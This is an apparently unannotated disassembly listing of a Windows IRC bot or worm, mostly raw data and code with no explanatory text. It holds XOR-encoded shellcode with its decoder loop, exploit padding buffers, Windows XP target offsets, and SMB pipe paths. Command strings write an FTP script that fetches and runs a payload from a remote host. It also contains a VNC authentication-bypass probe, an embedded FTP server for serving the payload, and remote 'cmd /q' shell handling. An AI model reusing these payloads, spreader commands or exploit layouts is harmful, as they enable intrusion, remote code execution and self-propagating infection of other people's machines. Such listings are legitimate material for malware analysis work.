					; DATA XREF: ___:0040D331o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
dword_432730	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Co
; ---------------------------------------------------------------------------


loc_43273C:				; CODE XREF: ___:00432746j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_43273C
		inc	edi
		jz	short loc_432783
		and	eax, 952CE753h
		inc	esp
		jle	short loc_4327AB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_432783:				; CODE XREF: ___:00432749j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_4327E2+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_4327A8:				; CODE XREF: ___:004327D5j
		xor	[esi-25h], bl


loc_4327AB:				; CODE XREF: ___:00432751j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_4327C4:				; CODE XREF: ___:004327F7j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4327A8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_4327E2:				; CODE XREF: ___:00432789j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_43286E
		jo	short loc_4327C4
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_432805+1
		add	bl, [edi]


loc_432805:				; CODE XREF: ___:00432801j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_43281A+2
		cmp	ch, bh
		dec	edx


loc_43281A:				; CODE XREF: ___:00432815j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_43286E:				; CODE XREF: ___:004327F5j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_4328F4
		sub	al, 0BCh
		jmp	near ptr 54452C62h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_432890	dd 0EFFFC481h, 44FFFFh,	4328DCh	; DATA XREF: ___:0040DC33o
dword_43289C	dd 42Ah			; DATA XREF: ___:0040DBE6r
dword_4328A0	dd 3E8h			; DATA XREF: ___:0040DC57r
dword_4328A4	dd 258h			; DATA XREF: ___:0040DC29r
byte_4328A8	db 1			; DATA XREF: ___:0040DB92r
					; ___:0040DC60r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4328C0	dd 20804h		; DATA XREF: sub_40D8A0r ___:0040DC7Eo ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004328ACo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_4328F4:				; CODE XREF: ___:00432878j
		push	eax
		xor	al, 29h


loc_4328F7:				; DATA XREF: ___:0040DBBAo
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_432900	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAEAo
dword_432914	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Eo
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Do
		align 4
aSIpc		db '\\%s\ipc$',0
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE3+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4329BC	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D1+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 3Fh dup(62626262h)
		db 62h
		dd 1626262h
		db 1, 2	dup(22h)
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Do
		align 10h
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E29Ao
		align 10h
word_433C00	dw 1			; DATA XREF: ___:0040E211r
		align 4
dword_433C04	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C65+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 4
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 4
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 10h
aList_0		db 'LIST',0
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00438368o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00438374o
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_433EEC	db  2Dh	; -		; DATA XREF: sub_40F0D6+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_433F14	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D6+2CFo
					; sub_41A4D2+F5o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D6+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F531+98o
					; sub_41AA43+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F531+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F531:loc_40F597o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F531+5Fo
		align 4
unk_434134	db  2Dh	; -		; DATA XREF: sub_40F6B4+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_43416C	db  2Dh	; -		; DATA XREF: sub_40F6B4+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 10h
asc_4341A0:				; DATA XREF: sub_40F6B4+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B4+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96B+652o
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96B+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96B+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FE93o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96B+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96B+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96B+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FD25o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96B+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96B+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+328o
					; sub_40F96B+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96B+310o
		align 10h
aS		db '<%s>',0             ; DATA XREF: sub_40F96B+2E9o
					; sub_40F96B+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96B+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96B+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96B+28Ao
		align 10h
a__		db '..',0               ; DATA XREF: sub_40F96B+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96B+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96B+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DC+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_434648	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Eo
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410313o
dword_43468C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B8o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_4346F4	db  2Dh	; -		; DATA XREF: ___:00410494o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_43473C	db  2Dh	; -		; DATA XREF: ___:004106E6o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_43477C	db  2Dh	; -		; DATA XREF: ___:0041061Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_4347C0	db  2Dh	; -		; DATA XREF: ___:004109A9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4347EC	db  2Dh	; -		; DATA XREF: ___:00410982o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_434818	db  2Dh	; -		; DATA XREF: ___:00410962o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410932o
		align 4
unk_434854	db  2Dh	; -		; DATA XREF: ___:004108A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 10h
unk_434880	db  2Dh	; -		; DATA XREF: sub_4109C5:loc_410A0Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_4348AC	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1F+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
unk_434A48	db  2Dh	; -		; DATA XREF: sub_410CD6+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_434A7C	db  2Dh	; -		; DATA XREF: sub_410CD6+59o
					; sub_410CD6+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_434AC4	db  2Dh	; -		; DATA XREF: sub_410E27+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_434AEC	db  2Dh	; -		; DATA XREF: sub_410E27+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434B2C	db  2Dh	; -		; DATA XREF: sub_410E27+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434B6C	db  2Dh	; -		; DATA XREF: sub_410F20+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F20+8Co
		align 4
dword_434BAC	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF9+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
